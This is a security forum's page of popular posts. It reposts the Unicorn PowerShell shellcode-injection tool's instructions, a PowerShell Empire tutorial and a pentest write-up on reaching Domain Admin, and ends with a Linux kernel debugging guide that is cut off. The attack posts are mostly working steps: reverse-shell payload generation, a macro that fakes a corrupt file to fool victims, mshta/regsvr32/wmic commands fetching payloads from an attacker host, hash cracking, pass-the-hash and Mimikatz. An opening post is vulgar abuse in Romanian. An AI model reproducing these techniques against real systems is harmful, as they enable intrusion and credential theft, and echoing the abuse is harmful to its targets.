Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 02/05/19 in all areas

  1. Ai reusit sa faci pe rasa ma-tii de noob, macar reclama de ti-ai face-o intr-un mod inteligent. O sa-ti cumpere pulea cursul, probabil e ciordit sau se regaseste pe net. auzi si tu, acces la grup facebook; suport tel, 2 teme nulled, consultanta in alegerea unui dildo... fgm de infect Pe ma-ta nu o dai bonus ?
    2 points
  2. unicorn Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit. root@rel1k:~/Desktop# python unicorn.py ,/ // ,// ___ /| |// `__/\_ --(/|___/-/ \|\_-\___ __-_`- /-/ \. |\_-___,-\_____--/_)' ) \ \ -_ / __ \( `( __`\| `\__| |\)\ ) /(/| ,._____., ',--//-| \ | ' / / __. \, / /,---| \ / / / _. \ \ `/`_/ _,' | | | | ( ( \ | ,/\'__/'/ | | | \ \`--, `_/_------______/ \( )/ | | \ \_. \, \___/\ | | \_ \ \ \ \ \ \_ \ \ / \ \ \ \._ \__ \_| | \ \ \___ \ \ | \ \__ \__ \ \_ | \ | | \_____ \ ____ | | | \ \__ ---' .__\ | | | \ \__ --- / ) | \ / \ \____/ / ()( \ `---_ /| \__________/(,--__ \_________. | ./ | | \ \ `---_\--, \ \_,./ | | \ \_ ` \ /`---_______-\ \\ / \ \.___,`| / \ \\ \ \ | \_ \| \ ( |: | \ \ \ | / / | ; \ \ \ \ ( `_' \ | \. \ \. \ `__/ | | \ \ \. \ | | \ \ \ \ ( ) \ | \ | | | | \ \ \ I ` ( __; ( _; ('-_'; |___\ \___: \___: aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc= -------------------- Magic Unicorn Attack Vector ----------------------------- Native x86 powershell injection attacks on any Windows platform. Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com) Twitter: @TrustedSec, @HackingDave Credits: Matthew Graeber, Justin Elze, Chris Gates Happy Magic Unicorns. Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00) Help Menu: python unicorn.py --help -----POWERSHELL ATTACK INSTRUCTIONS---- Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute. Note that you will need to have a listener enabled in order to capture the attack. -----MACRO ATTACK INSTRUCTIONS---- For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that. If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open() To: Sub AutoOpen() The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme. NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN! -----HTA ATTACK INSTRUCTIONS---- The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit. A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly. -----CERUTIL Attack Instruction---- The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary. -----Custom PS1 Attack Instructions---- This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro. Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter. Examples: python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py muahahaha.ps1 macro 500 The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA. -----DDE Office COM Attack Instructions---- This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros. This attack was documented and full instructions can be found at: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ In order to use this attack, run the following examples: python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition a download.ps1 will be exported as well (explained in the latter section). In order to apply the payload, as an example (from sensepost article): Open Word Insert tab -> Quick Parts -> Field Choose = (Formula) and click ok. Once the field is inserted, you should now see "!Unexpected End of Formula" Right-click the Field, choose "Toggle Field Codes" Paste in the code from Unicorn Save the Word document. Once the office document is opened, you should receive a shell through powershell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download. The DDE attack will attempt to download download.ps1 which is our powershell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to. You may notice that some of the commands use "{ QUOTE" these are ways of masking specific commands which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL as it has some great methods for not calling DDE at all. -----Import Cobalt Strike Beacon---- This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike. Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs. The export code will look something like this: length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc Next, for usage: python unicorn.py cobalt_strike_file.cs cs The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic. Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY. There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----Custom Shellcode Generation Method---- This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory. Note that in order for this to work, your txt file that you point Unicorn to must be formatted in the following format or it will not work: 0x00,0x00,0x00 and so on. Also note that there is size restrictions. The total length size of the PowerShell command cannot exceed the size of 8191. This is the max command line argument size limit in Windows. Usage: python uniocrn.py shellcode_formatted_properly.txt shellcode Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST PROPERLY BE FORMATTED IN A 0x00,0x00,0x00 TYPE FORMAT WITH NOTHING ELSE OTHER THAN YOUR SHELLCODE IN THE TXT FILE. There are some caveats with this attack. Note that if your payload size is large in nature it will not fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----SettingContent-ms Extension Method---- First, if you haven't had a chance, head over to the awesome SpectreOps blog from Matt Nelson (enigma0x3): https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 This method uses a specific file type called ".SettingContent-ms" which allows for the ability for both direct loads from browsers (open + command execution) as well as extension type through embedding in office products. This one specifically will focus on extension type settings for command execution within Unicorn's PowerShell attack vector. There are multiple methods supported with this attack vector. Since there is a limited character size with this attack, the method for deployment is an HTA. For a detailed understanding on weaponizing this attack visit: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ The steps you'll need to do to complete this attack is generate your .SettingContent-ms file from either a standalone or hta. The HTA method supports Metasploit, Cobalt Strike, and direct shellcode attacks. The four methods below on usage: HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms Generate .SettingContent-ms: python unicorn.py ms The first is a Metasploit payload, the second a Cobalt Strike, the third your own shellcode, and the fourth just a blank .SettingContent-ms file. When everything is generated, it will export a file called Standalone_NoASR.SettingContent-ms either in the default root Unicorn directory (if using the standalone file generation) or under the hta_attack/ folder. You will need to edit the Standalone_NoASR.SettingContent-ms file and replace: REPLACECOOLSTUFFHERE With: mshta http://<apache_server_ip_or_dns_name/Launcher.hta. Then move the contents of the hta_attack to /var/www/html. Once the victim either clicks the .SettingContent-ms file, mshta will be called on the victim machine then download the Unicorn HTA file which has the code execution capabilites. Special thanks and kudos to Matt Nelson for the awesome research Also check out: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ Usage: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms python unicorn.py <cobalt_strike_file.cs cs ms python unicorn.py <patth_to_shellcode.txt>: shellcode ms python unicorn.py ms Sursa: https://github.com/trustedsec/unicorn
    2 points
  3. Multiple Ways to Exploiting Windows PC using PowerShell Empire posted in Penetration Testing on February 4, 2019 by Raj Chandel SHARE This is our second post in the article series ‘PowerShell Empire’. In this article we will cover all the exploits that leads to windows exploitation with empire. To our first post on empire series, which gives a basic guide to navigate your way through empire, click here. Table of content: Exploiting through HTA Exploiting through MSBuild.exe Exploiting through regsvr32 XSL exploit Exploiting through visual basic script BAT exploit Multi_launcher exploit Exploiting through HTA This attack helps us to exploit windows through .hta. when .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click here. To run type ‘./Empire’. According to the work flow, firstly, we have to create a listener to listen on our local machine. Type the following command: listeners 1 listeners After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type : uselistener http set Host http://192.168.1.107 execute 1 2 3 uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type : usestager windows/hta set Listener http set OutFile /root/1.hta execute 1 2 3 4 usestager windows/hta set Listener http set OutFile /root/1.hta execute Running the above commands will create an .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file: mshta.exe http:/192.168.1.107:8080/1.hta 1 mshta.exe http:/192.168.1.107:8080/1.hta The moment above command is executed you will have your session, to access the session type : interact XDGM6HLE sysinfo 1 2 interact XDGM6HLE sysinfo Exploiting through MSBuild.exe Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using XML file. To know in details about this attack please click here. And to use this exploit type: listeners uselistener http set Host http:/192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http:/192.168.1.107 execute This creates a listener, type ‘back’ to go in listener interface to create a exploit. For this, type : usestager windows/launcher_xml set Listener http execute 1 2 3 usestager windows/launcher_xml set Listener http execute Now, an .xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands: cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml 1 2 cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml So, this way you will have your session, to access the said session type : interact A8H14C7L sysinfo 1 2 interact A8H14C7L sysinfo Exploiting through regsvr32 Our next method is exploiting through regsvr32. To know in detail about this attack, do click here. As always, we have to create a listener first to listen on our local machine. Type the following command: listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type: usestager windows/launcher_sct set Listener http execute 1 2 3 usestager windows/launcher_sct set Listener http execute This will create a .sct file in /tmp. Share this file to victim’s PC using python server and then run this file in run window of victims’ PC by typing the following command: regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll 1 regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll Thus, you will have an active session. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through XSL XSL is a language will helps you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file. For this method lets activate our listener first by typing : listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute As the listener is up and running, create your exploit : usestager windows/launcher_xsl set Listener http execute 1 2 3 usestager windows/launcher_xsl set Listener http execute This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below : cd /tmp python -m SimpleHTTPServer 8080 1 2 cd /tmp python -m SimpleHTTPServer 8080 Now execute the following command in the command prompt of your victim: wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" 1 wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" Running above will give a session, to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through Visual Basic script Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first. listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now, to create our malicious .vbs file type : usestager windows/launcher_vbs set Listener http execute 1 2 3 usestager windows/launcher_vbs set Listener http execute Next step is to start the python server by typing: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once the .vbs file is shared through python server and executed in the victim’s PC you will have you r session and just like before to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through .bat In this method, we will exploit through .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type: listeners uselistener http set Host http://192.168.1.107 execute back 1 2 3 4 5 listeners uselistener http set Host http://192.168.1.107 execute back The above commands will create a listener for you. Let’s create our .bat file using following command : usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute 1 2 3 4 usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute As shown, the above commands will create a .bat file. Start up the python server by using following command to allow you share you .bat file on your victim’s pc. python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once you run the .bat file, a session will activate. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Multi_launcher This is our last method of this post. It can be used on various platforms such as windows, linux, etc. again, even for this method, create a listener: listerners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listerners uselistener http set Host http://192.168.1.107 execute Then type following commands for create your malicious file: usestager multi/launcher set listerner http execute 1 2 3 usestager multi/launcher set listerner http execute Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Conclusion The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pentesting skills after Metasploit. Enjoy! Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here ABOUT THE AUTHOR Raj Chandel Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry Sursa: https://www.hackingarticles.in/multiple-ways-to-exploiting-windows-pc-using-powershell-empire/
    2 points
  4. Școala pentru Ban !
    1 point
  5. mai nasol daca erau cacareze mici si negre, alea au criptare avansata! Mergand pe ideea ca ai uitat ce ai pus la bilutele negre, cel mai simplu este sa resetezi camera si o reconfigurezi. mult mai simplu decat sa faci pe hackerul
    1 point
  6. ii dati prea multa atentie, asta trebuie ignorat...
    1 point
  7. Gaining Domain Admin from Outside Active Directory Mar 4, 2018 …or why you should ensure all Windows machines are domain joined. This is my first non-web post on my blog. I’m traditionally a web developer, and that is where my first interest in infosec came from. However, since I have managed to branch into penetration testing, initially part time and now full time, Active Directory testing has become my favourite type of penetration test. This post is regarding an internal network test for a client I did earlier in the year. This client’s network is a tough nut to crack, and one I’ve tested before so I was kind of apprehensive of going back to do this test for them in case I came away without having “hacked in”. We had only just managed it the previous time. The first thing I run on an internal is the Responder tool. This will grab Windows hashes from LLMNR or NetBIOS requests on the local subnet. However, this client was wise to this and had LLMNR & NetBIOS requests disabled. Despite already knowing this fact from the previous engagement, one of the things I learned during my OSCP course was to always try the easy things first - there’s no point in breaking in through a skylight if the front door is open. So I ran Responder, and I was surprised to see the following hash captured: Note of course, that I would never reveal client confidential information on my blog, therefore everything you see here is anonymised and recreated in the lab with details changed. Here we can see the host 172.16.157.133 has sent us the NETNTLMv2 hash for the account FRONTDESK. Checking this host’s NetBIOS information with Crack Map Exec (other tools are available), we can check whether this is a local account hash. If it is, the “domain” part of the username: [SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK i.e. 2-FD-87622 should match the host’s NetBIOS name if this is the case. Looking up the IP with CME we can see the name of the host matches: So the next port of call we try to crack this hash and gain the plaintext password. Hashcat was loaded against rockyou.txt and rules, and quickly cracked the password. hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule Now we have a set of credentials for the front desk machine. Hitting the machine again with CME but this time passing the cracked credentials: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth We can see Pwn3d! in the output showing us this is a local administrator account. This means we have the privileges required to dump the local password hashes: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam Note we can see FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f::: This time we are seeing the NTLM hash of the password, rather than the NETNTLMv2 “challenge/response” hash that Responder caught earlier. Responder catches hashes over the wire, and these are different to the format that Windows stores in the SAM. The next step was to try the local administrator hash and spray it against the client’s server range. Note that we don’t even have to crack this administrator password, we can simply “pass-the-hash”: cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth We can only pass-the-hash using the stored NTLM format, not the NETNTLMv2 network format (unless you look to execute an “SMB relay” attack instead). To our surprise, it got a hit, the local administrator password had been reused on the STEWIE machine. Querying this host’s NetBIOS info: $ cme smb 172.16.157.134 SMB 172.16.157.134 445 STEWIE [*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE) (signing:False) (SMBv1:True) We can see it is a member of the MACFARLANE domain, the main domain of the client’s Active Directory. So the non-domain machine had a local administrator password which was reused on the internal servers. We can now use Metasploit to PsExec onto the machine, using the NTLM as the password which will cause Metasploit to pass-the-hash. Once ran, our shell is gained: We can load the Mimikatz module and read Windows memory to find passwords: Looks like we have the DA (Domain Admin) account details. And to finish off, we use CME to execute commands on the Domain Controller to add ourselves as a DA (purely for a POC for our pentest, in real life or to remain more stealthy we could just use the discovered account). cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add' Note the use of the undocumented /y function to suppress the prompt Windows gives you for adding a password longer than 14 characters. A screenshot of Remote Desktop to the Domain Controller can go into the report as proof of exploitation: So if this front desk machine had been joined to the domain, it would have had LLMNR disabled (from their Group Policy setting) and we wouldn’t have gained the initial access to it and leveraged its secrets in order to compromise the whole domain. Of course there are other mitigations such as using LAPS to manage local administrator passwords and setting FilterAdministratorToken to prevent SMB logins using the local RID 500 account (great post on this here). Sursa: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html
    1 point
  8. Single-stepping through the Kernel Feb 3, 2019 tech linux kernel There may come a time in a system programmer’s life where she needs to leave the civilized safety of the userland and confront the unspeakable horrors that dwell in the depths of the Kernel space. While higher beings might pour scorn on the very idea of a Kernel debugger, us lesser mortals may have no other recourse but to single-step through Kernel code when the rivers begin to run dry. This guide will help you do just that. We hope you never actually have to. Ominous sounding intro-bait notwithstanding, setting up a virtual machine for Kernel debugging isn’t really that difficult. It only needs a bit of preparation. If you just want a copypasta, skip to the end. If you’re interested in the predicaments involved and how to deal with them, read on. N.B.: “But which kernel are you talking about?”, some heathens may invariably ask when it is obvious that Kernel with a capital K refers to the One True Kernel. Building the Kernel Using a minimal Kernel configuration instead of the kitchen-sink one that distributions usually ship will make life a lot easier. You will first need to grab the source code for the Kernel you are interested in. We will use the latest Kernel release tarball from kernel.org, which at the time of writing is 4.20.6. Inside the extracted source directory, invoke the following: make defconfig make kvmconfig make -j4 This will build a minimal Kernel image that can be booted in QEMU like so: qemu-system-x86_64 -kernel linux-4.20.6/arch/x86/boot/bzImage This should bring up an ancient-looking window with a cryptic error message: You could try pasting the error message into Google a search engine: Except for the fact that you can’t select the text in the window. And frankly, the window just looks annoying! So, ignoring the actual error for a moment, let’s try to get QEMU to print to the console instead of a spawning a new graphical window: qemu-system-x86_64 -kernel -nographic linux-4.20.6/arch/x86/boot/bzImage QEMU spits out a single line: qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] Htop tells me QEMU is using 100% of a CPU and my laptop fan agrees. But there is no output whatsoever and Ctrl-c doesn’t work! What does work, however, is pressing Ctrl-a and then hitting x: QEMU: Terminated Turns out that by passing -nographic, we have plugged out QEMU’s virtual monitor. Now, to actually see any output, we need to tell the Kernel to write to a serial port: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -append "console=ttyS0" It worked! Now we can read error message in all its glory: [ 1.333008] VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6 [ 1.334024] Please append a correct "root=" boot option; here are the available partitions: [ 1.335152] 0b00 1048575 sr0 [ 1.335153] driver: sr [ 1.335996] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) [ 1.337104] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.20.6 #1 [ 1.337901] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 1.339091] Call Trace: [ 1.339437] dump_stack+0x46/0x5b [ 1.339888] panic+0xf3/0x248 [ 1.340295] mount_block_root+0x184/0x248 [ 1.340838] ? set_debug_rodata+0xc/0xc [ 1.341357] mount_root+0x121/0x13f [ 1.341837] prepare_namespace+0x130/0x166 [ 1.342378] kernel_init_freeable+0x1ed/0x1ff [ 1.342965] ? rest_init+0xb0/0xb0 [ 1.343427] kernel_init+0x5/0x100 [ 1.343888] ret_from_fork+0x35/0x40 [ 1.344526] Kernel Offset: 0x1200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 1.345956] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]--- So, the Kernel didn’t find a root filesystem to kick off the user mode and panicked. Lets fix that by creating a root filesystem image. Creating a Root Filesystem Start by creating an empty image: qemu-img create rootfs.img 1G And then format it as ext4 and mount it: mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ Now we can populate it using debootstrap: sudo debootstrap bionic mnt/ This will create a root filesystem based on Ubuntu 18.04 Bionic Beaver. Of course, feel free to replace bionic with any release that you prefer. And unmount the filesystem once we’re done. This is important if you want to avoid corrupted images! sudo umount mnt Now boot the Kernel with our filesystem. We need to tell QEMU to use our image as a virtual hard drive and we also need to tell the Kernel to use the hard drive as the root filesystem: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" This time the Kernel shouldn’t panic and you should eventually see a login prompt. We could have setup a user while creating the filesystem but it’s annoying to have to login each time we boot up the VM. Let’s enable auto login as root instead. Terminate QEMU (Ctrl-c, x), mount the filesystem image again and then create the configuration folder structure: sudo mount -o loop rootfs.img mnt/ sudo mkdir -p mnt/etc/systemd/system/serial-getty@ttyS0.service.d Add the following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf: [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle Make sure to unmount the filesystem and then boot the Kernel again. This time you should be automatically logged in. Gracefully shutdown the VM: halt -p Attaching a debugger Let’s rebuild the Kernel with debugging symbols enabled: ./scripts/config -e CONFIG_DEBUG_INFO make -j4 Now, boot the Kernel again, this time passing the -s flag which will make QEMU listen on TCP port 1234: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" -s Now, in another terminal start gdb and attach to QEMU: gdb ./linux-4.20.6/vmlinux ... Reading symbols from ./linux-4.20.6/vmlinux...done. (gdb) target remote :1234 Remote debugging using :1234 0xffffffff95a2f8f4 in ?? () (gdb) You can set a breakpoint on Kernel function, for instance do_sys_open(): (gdb) b do_sys_open Breakpoint 1 at 0xffffffff811b2720: file fs/open.c, line 1049. (gdb) c Continuing. Now try opening a file in VM which should result in do_sys_open() getting invoked… And nothing happens?! The breakpoint in gdb is not hit. This due to a Kernel security feature called KASLR. KASLR can be disabled at boot time by adding nokaslr to the Kernel command line arguments. But, let’s actually rebuild the Kernel without KASLR. While we are at it, let’s also disable loadable module support as well which will save us the trouble of copying the modules to the filesystem. ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig # Resolve dependencies make -j4 Reboot the Kernel again, attach gdb, set a breakpoint on do_sys_open() and run cat /etc/issue in the guest. This time the breakpoint should be hit. But probably not where you expected: Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96074ad428 "/etc/ld.so.cache", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96076b5dd0 "/lib/x86_64-linux-gnu/libc.so.6", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7ffe9e630e8e "/etc/issue", flags=32768, mode=0) at fs/open.c:1049 1049 { (gdb) Congratulations! From this point, you can single-step away to your heart’s content. By default, the root filesystem is mounted read only. If you want to be able to write to it, add rw after root=/dev/sda in the Kernel parameters: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Bonus: Networking You can create a point to point link between the QEMU VM and the host using a TAP interface. First install tunctl and create a persistent TAP interface to avoid running QEMU as root: sudo apt install uml-utilities sudo sudo tunctl -u $(id -u) Set 'tap0' persistent and owned by uid 1000 sudo ip link set tap0 up Now launch QEMU with a virtual e1000 virtual interface connected the host’s tap0 interface: qemu-system-x86_64 -nographic -device e1000,netdev=net0 -netdev tap,id=net0,ifname=tap0 -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Once the guest boots up, bring the network interface up: ip link set enp0s3 up ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 